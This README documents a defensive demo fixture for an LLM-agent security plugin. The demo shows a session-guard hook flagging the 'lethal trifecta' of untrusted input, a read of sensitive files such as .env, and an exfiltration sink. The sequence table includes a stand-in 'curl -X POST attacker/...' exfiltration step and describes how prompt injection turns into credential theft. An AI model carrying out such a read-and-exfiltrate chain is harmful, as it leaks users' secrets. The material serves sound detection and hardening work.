ktg-plugin-marketplace/plugins/llm-security/examples/lethal-trifecta-walkthrough

Lethal Trifecta Walkthrough

WARNING: This is a security demonstration fixture, NOT a real attack. All payloads are synthetic. No external network is contacted, no real file is read, no real command is executed. The script only feeds JSON payloads to one of llm-security's hook scripts.

What this demonstrates

The Rule of Two (Meta, Oct 2025): an agent must never simultaneously hold all three of:

1. Untrusted input — content the model didn't author (web pages, MCP output, document uploads, prompt injection surface)
2. Sensitive data access — files like .env, .ssh/, .aws/, credential stores
3. Exfiltration sink — a path off the box (HTTP POST, scp, paste sites)

Any two are acceptable. All three at once is the lethal trifecta (Simon Willison / Invariant Labs framing) — at that point, prompt injection becomes credential theft.

post-session-guard.mjs (PostToolUse hook on every tool) tracks tool calls in a 20-call sliding window and emits a SECURITY ADVISORY when all three classes appear. This walkthrough shows it firing on a 5-step sequence.

Sequence

#	Tool	Class	Advisory?
1	WebFetch	input_source	no — only one class
2	Read /path/.env	data_access (sensitive)	no — only two classes
3	Bash curl -X POST attacker/...	exfil_sink	YES — trifecta closes
4	Bash ls -la	neutral	no — already warned in window
5	Bash curl -X POST attacker/...	exfil_sink	no — suppressed

The advisory at step 3 lists the evidence and recommends remediations (disable HTTP exfil, gate sensitive-path reads, narrow tool surface). Step 4-5 are present to show suppression: post-session-guard writes a warning marker into the state file so the operator isn't spammed by the same trifecta repeating within the window.

How to run

cd plugins/llm-security
node examples/lethal-trifecta-walkthrough/run-trifecta.mjs

# Detailed output (full advisory text + stderr)
node examples/lethal-trifecta-walkthrough/run-trifecta.mjs --verbose

Expected: 5 pass, 0 fail and a SECURITY ADVISORY (session-guard) preview after step 3.

Hooks / scanners involved

• hooks/scripts/post-session-guard.mjs — the only hook invoked. Configurable via policy.json trifecta.mode (block / warn / off; default warn) or env var LLM_SECURITY_TRIFECTA_MODE.

This example uses mode: warn (default). In block mode the third call's advisory becomes a hard block (exit 2) and the agent action is denied — see docs/security-hardening-guide.md §3 for when to switch.

OWASP / framework mapping

Code	Framework	Why
LLM01	OWASP LLM Top 10 (2025)	Prompt injection lands via the input_source leg
LLM02	OWASP LLM Top 10 (2025)	Sensitive output disclosure (the .env exfil)
ASI01	OWASP Agentic Top 10	Excessive Agency — agent holds all three capabilities
ASI02	OWASP Agentic Top 10	Agent Data Leakage — exfil sink + sensitive read

State isolation

post-session-guard stores per-session state at ${os.tmpdir()}/llm-security-session-${ppid}.jsonl. Because all five hook invocations are spawned by the same run-trifecta.mjs process, they share that script's PID as their parent PID — so the entire walkthrough lives in a single state file. The script deletes the file in a finally block before exiting. Your real session state under /tmp/ is never touched.

Limitations

• The walkthrough demonstrates the primary 20-call sliding-window trifecta. It does not exercise the 100-call slow-burn variant (SLOW_BURN_MIN_SPREAD = 50), the MCP-concentrated variant (all three legs from the same MCP server), behavioral drift via Jensen-Shannon divergence, or volume-threshold advisories. Those have their own unit tests under tests/lib/post-session-guard.*.
• This is deterministic detection. It does not exercise the block-mode exit-2 path — flip LLM_SECURITY_TRIFECTA_MODE=block and re-run if you want to see the script fail at step 3.

See also

• docs/security-hardening-guide.md §3 — Rule of Two and configuration
• knowledge/owasp-agentic-top10.md — ASI01 / ASI02 background
• knowledge/deepmind-agent-traps.md — adjacent attack categories
• examples/prompt-injection-showcase/ — the input_source leg in isolation
• expected-findings.md (in this folder) — the testable contract